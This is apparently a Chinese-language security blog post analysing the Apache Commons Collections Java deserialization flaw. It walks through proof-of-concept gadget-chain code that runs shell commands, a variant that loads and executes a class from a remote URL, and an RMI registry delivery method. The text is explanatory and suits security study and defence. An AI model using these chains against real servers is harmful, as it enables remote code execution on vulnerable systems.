Java反序列化漏洞详解

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Java反序列化漏洞从爆出到现在快2个月了，已有白帽子实现了jenkins，weblogic，jboss等的代码执行利用工具。本文对于Java反序列化的漏洞简述后，并对于Java反序列化的Poc进行详细解读。

Java反序列化漏洞简介

  • Java序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中，Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。
  • Java反序列化即逆过程，由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。

因此要利用Java反序列化漏洞，需要在进行反序列化的地方传入攻击者的序列化代码。能符合以上条件的地方即存在漏洞。

Java反序列化Poc详解

public class test {
    public static void main(String[] args) throws Exception {
    String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
            "getMethod", 
            new Class[] {String.class, Class[].class }, 
            new Object[] {"getRuntime", new Class[0] }
        ),
        new InvokerTransformer(
            "invoke", 
            new Class[] {Object.class, 
            Object[].class }, new Object[] {null, null }
        ),
        new InvokerTransformer(
            "exec", 
            new Class[] {String[].class }, 
            new Object[] { execArgs }
        )
     };
    Transformer transformedChain = new ChainedTransformer(transformers);

    Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
    BeforeTransformerMap.put("hello", "manning");

    Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

    Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

    Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
    ctor.setAccessible(true);
    Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

    File f = new File("temp.bin");
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
    out.writeObject(instance);
}
}

如果想彻底理解上面的poc，需要明白Java中的一些概念。

在Apache commons工具包中有很多jar包（jar包可以理解为python的库），具体jar包里面含有的内容，如下图所示。

org_apache_commons

其中Java反序列化的问题出在org.apache.commons.collections这个库里面。org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架，也就是说这些扩展也属于collection的基本概念，只是功能不同罢了。Java中的collection可以理解为一组对象，collection里面的对象称为collection的对象。具象的collection为set，list，queue等等。换一种理解方式，collection是set，list，queue的抽象，collection中文含义是收集的意思，那么收集的具体方式就可以是set，list，queue了。

在org.apache.commons.collections内提供了一个接口类叫Transformer，这个接口的英文定义为

Defines a functor interface implemented by classes that transform one object into another.

也就是说接口于Transformer的类都具备把一个对象转化为另一个对象的功能。目前已知接口于Transformer的类，如下如所示。

interface_transformer

图上带箭头指示的为Java反序列化漏洞的poc含有的类。

  • ConstantTransformer

    Transformer implementation that returns the same constant each time. （把一个对象转化为常量，并返回）

  • InvokerTransformer

    Transformer implementation that creates a new object instance by reflection. （通过反射，返回一个对象）

  • ChainedTransformer

    Transformer implementation that chains the specified transformers together. （把一些transformer链接到一起，构成一组链条，对一个对象依次通过链条内的每一个transformer进行转换）

有了以上的相关概念，就可以理解最开始的poc了。poc里面，我们一共创建了以下关键对象。

  • execArgs

    待执行的命令数组

  • transformers

    一个transformer链，包含预设转化逻辑（各类transformer对象）的转化数组

  • transformedChain

    ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作

  • BeforeTransformerMap

    Map数据结构，转换前的Map，Map数据结构内的对象是键值对形式，类比于python的dict理解即可

  • AfterTransformerMap

    Map数据结构，转换后的Map

整个poc的逻辑可以这么理解，构建了BeforeTransformerMap的键值对，为其赋值，利用TransformedMap的decorate方法，可以对Map数据结构的key，value进行transforme。

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。第一个参数为待转化的Map对象，第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空），第三个参数为Map对象内的value要经过的转化方法。

TransformedMap.decorate(目标Map, key的转化对象（单个或者链或者null）, value的转化对象（单个或者链或者null）);

point

上图是调试时的转换变量内容，可以很清楚地看到执行完poc后，已经对Map的value进行了转换（过了一遍transformer链）。

poc中对BeforeTransformerMap的value进行转换，当BeforeTransformerMap的value执行完一个完整转换链，就完成了命令执行。

在进行反序列化时，我们会调用ObjectInputStream类的readObject()方法。如果被反序列化的类重写了readObject()，那么该类在进行反序列化时，Java会优先调用重写的readObject()方法。

结合前述Commons Collections的特性，如果某个可序列化的类重写了readObject()方法，并且在readObject()中对Map类型的变量进行了键值修改操作，并且这个Map变量是可控的，就可以实现我们的攻击目标了。

因此我们在poc中看见了下行的代码。

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

这个类完全符合我们的要求，具体解释可以查看TSRC的文章。

如果要实现一个可控的poc，需要对transformer链的构造进行理解。首先来看InvokerTransformer。

 InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)

参数依次为：方法名称，参数类型，参数对象 我们找其中一个来看下。

new InvokerTransformer(
    "getMethod", 
    new Class[]  {String.class, Class[].class }, 
    new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
    "invoke", 
    new Class[] {Object.class, Object[].class }, 
    new Object[] {null, null }
),
new InvokerTransformer(
    "exec", 
    new Class[] {String.class }, 
    new Object[] {"gedit"}
)

参数类型里面的内容完全对应于参数对象里的内容。

PS：由于Method类的invoke(Object obj,Object args[])方法的定义，所以在反射内写new Class[] {Object.class, Object[].class }。

所以正常流程如下所示：

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");

基于报错的反序列化transformer链

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Java.net.URLClassLoader.class),
new InvokerTransformer(
    "getConstructor", 
    new Class[] {Class[].class}, 
    new Object[] {new Class[]{Java.net.URL[].class}}
),
new InvokerTransformer(
    "newInstance", 
    new Class[] {Object[].class}, 
    new Object[] { new Object[] { new Java.net.URL[] { new Java.net.URL(url) }}}
),
new InvokerTransformer(
    "loadClass",
    new Class[] { String.class }, 
    new Object[] { "ErrorBaseExec" }
),
new InvokerTransformer(
    "getMethod",
    new Class[]{String.class, Class[].class}, 
    new Object[]{"do_exec", new Class[]{String.class}}
),
new InvokerTransformer(
    "invoke",
    new Class[]{Object.class, Object[].class}, 
    new Object[]{null, new String[]{cmd}}
)
};

有了先前的理解，这个链就很明了了。先建立一个读取远程jar文件的类 URLClassLoader，实例化这个类，传入要访问的url，再读取远程加载类，接着获取类方法，然后反射这个方法。

关于RMI利用的相关内容

tang3已经在RMI利用文章讲过怎么利用了，这段内容，我只是详解下给出的poc的原理。

poc部分内容

Transformer transformedChain = new ChainedTransformer(transformers);

Map BeforeTransformerMap = new HashMap();
innerMap.put("value", "value");
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

InvocationHandler h = (InvocationHandler) instance;
Remote r = Remote.class.cast(Proxy.newProxyInstance(
                        Remote.class.getClassLoader(), 
                        new Class[]{Remote.class}, 
                        h));
try{
Registry registry = LocateRegistry.getRegistry(ip, port);
registry.rebind("", r); // r is remote obj
}
catch (Throwable e) {
e.printStackTrace();
}

RMI利用的poc看上去还是很熟悉的，因为到建立instance时，还和之前的内容一致。之后便到了RMI内容独有的细节，从代码角度可以看出利用逻辑为：

  • 建立实例对象instance
  • 实例对象instance 转化为 InvocationHandler类型的句柄h（因为instance是序列化后的内容，所以instance就是一串数据）
  • 把句柄h附载到Remote类实例 r上
  • 向远程服务器注册，得到远程注册对象 registry
  • 向远程注册对象registry注册 实例r

在Java的RMI中，我们允许向远程已运行的jvm虚拟环境中绑定（rebind函数，也可以理解为添加）一些实例对象，通过RMI协议传输一些序列化好的内容，这样服务端解析（也就是反序列化）传过来的数据后，便可把解析后的内容添加到运行环境中。构造remote类型实例r 方法很多，poc中利用动态代理创建remote实例r是方法之一。

因此涉及RMI的代码也会存在Java反序列化漏洞。

漏洞影响分析

Java反序列化漏洞从爆出到现在快2个月了。最开始的只能命令执行和反弹shell，到后来的有回显的命令执行，到最终的代码执行，利用上来是越来越方便（有回显的命令执行和代码执行均为利用远程jar文件的利用形式）。从微博来看，已有白帽子实现了jenkins，weblogic，jboss等的代码执行利用工具。待最终利用工具公布，此漏洞还会有一个上升趋势的影响。

资料引用

  • http://blog.chaitin.com/2015-11-11_java_unserialize_rce/
  • http://security.tencent.com/index.php/blog/msg/97
  • http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
  • http://www.infoq.com/cn/articles/cf-java-object-serialization-rmi
  • https://blog.nsfocus.net/learning-guide-java-serialization-de-serialization-vulnerability-remediation/
  • https://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/

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